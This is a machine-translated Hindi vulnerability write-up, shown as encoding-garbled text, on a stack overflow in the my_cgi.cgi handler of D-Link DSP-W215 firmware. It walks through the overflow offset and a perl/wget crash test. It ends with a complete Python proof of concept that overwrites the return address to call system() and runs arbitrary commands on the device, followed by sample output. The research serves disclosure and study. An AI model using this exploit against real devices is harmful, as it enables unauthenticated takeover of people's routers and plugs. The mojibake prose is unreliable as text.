
рд╣рд╛рд▓ рд╣реА рдореЗрдВ, рдбреА-рд▓рд┐рдВрдХ рдиреЗ
рдлрд░реНрдорд╡реЗрдпрд░ v1.02 рдХреЛ рдбреАрдПрд╕рдкреА-
рдбрдмреНрд▓реНрдпреВ 215 рдХреЗ рд▓рд┐рдП рдЬрд╛рд░реА рдХрд┐рдпрд╛, рдЬрд┐рд╕рдореЗрдВ
my_cgi.cgi рдореЗрдВ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рд╕рд╛рде HNAP рдмрдЧ рддрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдлрд╝рд░реНрдорд╡реЗрдпрд░ рдХреЛ рд╕рд╛рдЗрдЯ рд╕реЗ рдЬрд▓реНрджреА рд╣рдЯрд╛ рджрд┐рдпрд╛: "рдЖрдк рдлрд╝рд░реНрдорд╡реЗрдпрд░ рдХреЛ рдПрдХ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ", рдореИрдВрдиреЗ рдЗрд╕реЗ рдореНрдпреВрдирд┐рдЦ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдмреА рд╣рд╛рд╕рд┐рд▓ рдХреА рдФрд░ 8 рдШрдВрдЯреЗ рдХреА рдлрд╝реНрд▓рд╛рдЗрдЯ рдиреЗ рдореБрдЭреЗ рдирдП рдлрд╝рд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЧреБрдгрд╛рддреНрдордХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕рдордп рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ред
рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, HNAP рдХреЗ рд╕рд╛рде рдПрдХ рдмрдЧ рдЗрд╕ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдПрдХрдорд╛рддреНрд░ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рдереАред Lighttpd рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╣рдореЗрдВ рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ my_cgi.cgi рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рди рдХрд┐ рдХреЗрд╡рд▓ HNAP рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", "/router_info.xml" => "/www/my_cgi.cgi", "/post_login.xml" => "/www/my_cgi.cgi", "/get_shareport_info" => "/www/my_cgi.cgi", "/secmark1524.cgi" => "/www/my_cgi.cgi", "/common/info.cgi" => "/www/my_cgi.cgi" )
My_cgi.cgi рдореЗрдВ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреА рджреЛ рдХреЛрдб рд╢рд╛рдЦрд╛рдПрдБ рд╣реИрдВ: рдПрдХ HNAP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА рд╕рдм рдХреБрдЫ рдХреЗ рд▓рд┐рдП:

рдпрджрд┐ HTTP рдЕрдиреБрд░реЛрдз HNAP рдирд╣реАрдВ рдерд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, /common/info.cgi) рдФрд░ рдпрджрд┐ рдпрд╣ рдПрдХ POST рдЕрдиреБрд░реЛрдз рдерд╛, рддреЛ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, my_cgi.cgi рдХреБрдЫ HTTP рд╣реЗрдбрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рд╛рдордЧреНрд░реА-рд▓рдВрдмрд╛рдИ рд╢рд╛рдорд┐рд▓ рд╣реИ:

рдпрджрд┐ рд╕рд╛рдордЧреНрд░реА-рд▓рдВрдмрд╛рдИ рд╢реВрдиреНрдп рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рддреЛ get_input_entries рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ POST рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ:

Get_input_entries рдлрд╝рдВрдХреНрд╢рди рджреЛ рддрд░реНрдХ рд▓реЗрддрд╛ рд╣реИ: рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рд╕рдВрд░рдЪрдирд╛ рдФрд░ POST рдбреЗрдЯрд╛ рдХреЗ рдЖрдХрд╛рд░ (рдпрд╛рдиреА рд╕рд╛рдордЧреНрд░реА-рд▓рдВрдмрд╛рдИ) рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ:
struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries(struct *entries post_entries, int content_length);
рдпрд╣ рдХреБрдЫ рд╕рдВрджрд┐рдЧреНрдз рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ HTTP- рдЕрдиреБрд░реЛрдз рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА-рд▓рдВрдмрд╛рдИ рд╣реЗрдбрд░ рд╕реЗ рд╕реАрдзреЗ get_input_entries рдХреЛ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рдВрд░рдЪрдирд╛ рд╕реВрдЪрдХ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд╕реНрдЯреИрдХ рдкрд░ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдЪрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ:
int content_length, num_entries; struct entries my_entries[450];
рдмреЗрд╢рдХ, get_input_entries рдореЗрдВ fgetc рдХреЗ рд╕рд╛рде рдПрдХ рд▓реВрдк рд╣реЛрддрд╛ рд╣реИ (рд▓рдЧрднрдЧ рд╡рд╣реА рдЬреЛ HNAP рднреЗрджреНрдпрддрд╛ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ), рдЬреЛ POST рдЕрдиреБрд░реЛрдз (рдирд╛рдо рдФрд░ рдорд╛рди) рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ "рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ" рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдмрдЪрд╛рддрд╛ рд╣реИ:
Fgetc рд▓реВрдк
рд▓реВрдк рдХреЗ рд▓рд┐рдП fgetc (рд╕реНрдЯрдбрд┐рди)
Fgetc рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рд╛ рдЧрдпрд╛ рдорд╛рди "рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ" рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдирд╛рдо / рдорд╛рди рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИрдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╕рдВрд░рдЪрдирд╛, рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореБрдЦреНрдп рдореЗрдВ рдПрдХ рд╕реНрдЯреИрдХ рд╡реЗрд░рд┐рдПрдмрд▓ рд╣реИ, рдПрдХ рдЕрддреНрдпрдзрд┐рдХ рд▓рдВрдмреЗ POST рдореВрд▓реНрдп рд╕реНрдЯреИрдХ рдХреЛ get_input_entries рдореЗрдВ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рд╣реЛрдЧрд╛, рдФрд░ рддрджрдиреБрд╕рд╛рд░ рдореБрдЦреНрдпред
рдореБрдЦреНрдп рдореЗрдВ рд▓реМрдЯрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЧрд┐рд░рд╛рд╡рдЯ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП (рдЕрдЧрд▓реА рдкреЛрд╕реНрдЯ рдореЗрдВ рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ), рд╣рдореЗрдВ рдЬрд▓реНрдж рд╕реЗ рдЬрд▓реНрдж get_input_entries рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдХреЗрд╡рд▓ POST рдкреИрд░рд╛рдореАрдЯрд░ "storage_path" рдХреЛ рдкрд╛рд╕ рдХрд░рдирд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реЛрддрд╛ рд╣реИ, рддреЛ get_input_entries рдореЗрдВ рдХреЛрдб рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

рдпрджрд┐ рд╣рдо рдореБрдЦреНрдп рд╕реНрдЯреИрдХ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ "рдПрдВрдЯреНрд░реАрдЬ" рд╕рдВрд░рдЪрдирд╛ рдХреА рд╢реБрд░реБрдЖрдд 0 ├Ч 74944 рдмрд╛рдЗрдЯреНрд╕ рд╣реИ рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рд╕реЗ рдЖрдЧреЗ рд╣реИ:

рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ 36 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ POST рдЕрдиреБрд░реЛрдз рд╕реЗ рдирд╛рдореЛрдВ рдХреЛ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, 477472 (0 ├Ч 74944-36) рдХреЗ рдмрд╛рдЗрдЯ рдХрд╛ POST рд╕реНрдЯреИрдХ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд░рд┐рдЯрд░реНрди рдкрддреЗ рдкрд░ рд╕рдм рдХреБрдЫ рдмрд╣ рдЬрд╛рдПрдЧрд╛:
# Overwrite the saved return address with 0x41414141 perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt wget --post-file=overflow.txt http:
$ ra рдХреЛ 0 ├Ч 41414141 рдорд╛рди рдХреЗ рд╕рд╛рде рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛рдЕрдм рд╣рдо $ ra рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рдо рдЙрд╕реА рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╡рд╛рдкрд╕ рдЖ рд╕рдХрддреЗ рд╣реИрдВ () рдХреЙрд▓ рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рд╣рдордиреЗ HNAP рдУрд╡рд░рдлреНрд▓реЛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдерд╛ рддрд╛рдХрд┐ рдордирдорд╛рдирд╛ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХреЗрдВ:
рдХреЙрд▓ рд╕рд┐рд╕реНрдЯрдо () 0x00405CEC рдкрд░рдпрд╣рд╛рдБ PoC рд╣реИ:
#!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "storage_path=" # POST parameter name buf += "D" * (0x74944-36) # Stack filler buf += "\x00\x40\x5C\xEC" # Overwrite $ra buf += "E" * 0x28 # Command to execute must be at $sp+0x28 buf += command # Command to execute buf += "\x00" # NULL terminate the command req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
рдЬреЛ рдирд╡реАрдирддрдо рдлрд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:
./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www